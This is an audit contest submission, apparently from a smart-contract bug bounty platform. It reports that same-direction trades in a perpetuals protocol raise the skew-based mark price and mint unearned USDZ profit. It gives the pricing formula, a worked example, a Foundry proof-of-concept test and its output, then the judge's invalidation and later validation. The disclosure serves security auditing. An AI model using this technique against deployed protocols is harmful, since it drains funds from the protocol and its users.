DeFiFoundry
60,000 USDC
View results
Submission Details
Severity: high
Valid

After first trade, every trade in the previous trade direction will generate the positive profit as long as skew is not reversed or decreased.

Summary

After opening a position, every subsequent trade in the same direction will generate a profit because the skew increases, which in turn increases the mark price. We are assuming that user will not have any position opened in any other market as it might show loss.

Vulnerability Details

When a market order is created, the mark price is fetched using the following line:

fillPriceX18 = perpMarket.getMarkPrice(ctx.sizeDeltaX18, perpMarket.getIndexPrice());

The mark price is calculated using the following formula:

let proportionalSkew = prevSkew / skewScale
let newSkew = prevSkew + changeInOpenInterest // Can be both + and negative
let newProportionalSkew = newSkew / skewScale
let priceImpactBeforeTrade = indexPrice + (indexPrice * proportionalSkew)
let priceImpaceAfterTrade = indexPrice + (indexPrice * newProportionalSkew)
// Now we will calculate the markPrice
let markPrice = (priceImpactBeforeTrade + priceImpactAfterTrade) / 2

Example Calculation

Given:

  • indexPrice = 1 USD

  • prevSkew = 1000

  • skewScale = 10,000,000

  • changeInOpenInterest = 500

let indexPrice = 1; // 1 USD
let prevSkew = 1000;
let skewScale = 10000000;
let changeInOpenInterest = 500;
let proportionalSkew = prevSkew / skewScale; // 1000 / 10000000 = 0.0001
let newSkew = prevSkew + changeInOpenInterest; // 1000 + 500 = 1500
let newProportionalSkew = newSkew / skewScale; // 1500 / 10000000 = 0.00015
let priceImpactBeforeTrade = indexPrice + (indexPrice * proportionalSkew); // 1 + (1 * 0.0001) = 1.0001
let priceImpactAfterTrade = indexPrice + (indexPrice * newProportionalSkew); // 1 + (1 * 0.00015) = 1.00015
let markPrice = (priceImpactBeforeTrade + priceImpactAfterTrade) / 2; // (1.0001 + 1.00015) / 2 = 1.000125
console.log(markPrice); // Output will be 1.000125

As shown, the mark price increases after the trade. When calculating the profit and loss (PnL) for a position when an order is created, the following code executes:

position.getUnrealizedPnl(markPrice)
|
V
function getUnrealizedPnl(Data storage self, UD60x18 price) internal view returns (SD59x18 unrealizedPnlUsdX18) {
SD59x18 priceShift = price.intoSD59x18().sub(ud60x18(self.lastInteractionPrice).intoSD59x18());
unrealizedPnlUsdX18 = sd59x18(self.size).mul(priceShift);
}

As we can see the unrealized profit is calculated based on new markPrice subtracted by old markPrcie. And since the new mark price will be greater than the previous one (assuming we are increasing the skew or opening the position is same direction), the calculated priceShift will be positive. And hence the unrealized profit calculated at the end of the function will also be positive.

As a result, this profit is minted to the user in the form of USDZ tokens.

Impact

The user will consistently be in profit, which will mint USDZ tokens that can be used to offset their SettlementFee and OrderFee.

Proof of Concept:

function test_UserWillAlwaysBeInProfitIfPlaceOrderInSameDirection() public {
// create account
address token = address(usdc);
int128 tokenDecimals = 6;
uint256 amount = 100000 * 10 ** uint128(tokenDecimals);
SD59x18 sizeDelta = sd59x18(10000e18);
// minting tokens to naruto
deal({ token: token, to: users.naruto.account, give: amount });
///////////////////////////////////////////////////
// Naruto places an order in ETHUSD market ///
///////////////////////////////////////////////////
uint128 narutoTrandingAccountId = createAccountAndDeposit(amount, token);
// get the market config with market id
uint256[2] memory marketsIdsRange;
marketsIdsRange[0] = 4;
marketsIdsRange[1] = 4;
MarketConfig[] memory filteredMarketsConfig = getFilteredMarketsConfig(marketsIdsRange);
// create the order
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: narutoTrandingAccountId,
marketId: filteredMarketsConfig[0].marketId,
sizeDelta: int128(sizeDelta.intoInt256())
})
);
// skip some time
skip(3 minutes);
// keeper fills the order
bytes memory mockSignedReport =
getMockedSignedReport(marketsConfig[4].streamId, marketsConfig[4].mockUsdPrice);
vm.startPrank({ msgSender: marketOrderKeepers[4] });
// fill first order and open position
perpsEngine.fillMarketOrder(narutoTrandingAccountId, 4, mockSignedReport);
////////////////////////////////////////////////////////
/// Naruto places another order ///
////////////////////////////////////////////////////////
marketsIdsRange[0] = 4;
marketsIdsRange[1] = 4;
// get the market config with market id
filteredMarketsConfig = getFilteredMarketsConfig(marketsIdsRange);
// place the order for minimum value
vm.startPrank(users.naruto.account);
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: narutoTrandingAccountId,
marketId: filteredMarketsConfig[0].marketId,
sizeDelta: int128(40e18)
})
);
// skip some time
skip(3 minutes);
// fill order
mockSignedReport = getMockedSignedReport(marketsConfig[4].streamId, marketsConfig[4].mockUsdPrice);
// fill the order
vm.startPrank({ msgSender: marketOrderKeepers[4] });
perpsEngine.fillMarketOrder(narutoTrandingAccountId, 4, mockSignedReport);
// get the balance
uint balance = perpsEngine.exposed_getMarginCollateralBalance(narutoTrandingAccountId, address(usdz)).intoUint256();
console2.log("balance", balance);
balance = perpsEngine.exposed_getMarginCollateralBalance(narutoTrandingAccountId, address(usdc)).intoUint256();
console2.log("balance", balance);
}

Output:

pnlUsdX18: 500781451730000
orderFeeUsdX18: 640000063972344823
settlementFeeUsdX18: 2000000000000000000
balance 0
balance 99835360492736897446137
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.70ms (2.24ms CPU time)
Ran 1 test suite in 26.36ms (10.70ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

As seen, the user has a positive PnL, but no USDZ balance remains since it was used to pay for the settlement and order fees.

Tools Used

  • Manual Review

  • Foudnry

Recommendations

The tokens minted will be in small amounts but can cause issue if the number of trader are more. Hence this needs to be mitigated. I couldn't think of any way to mitigate this with current design. Hence team need to find a way to mitigate this.

Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Design choice

Appeal created

inallhonesty Lead Judge
9 months ago
inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Including the positive uPnL of new position in the margin balance leads to an artificial increase of the total margin balance, which leads to the ability to drain the protocol

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.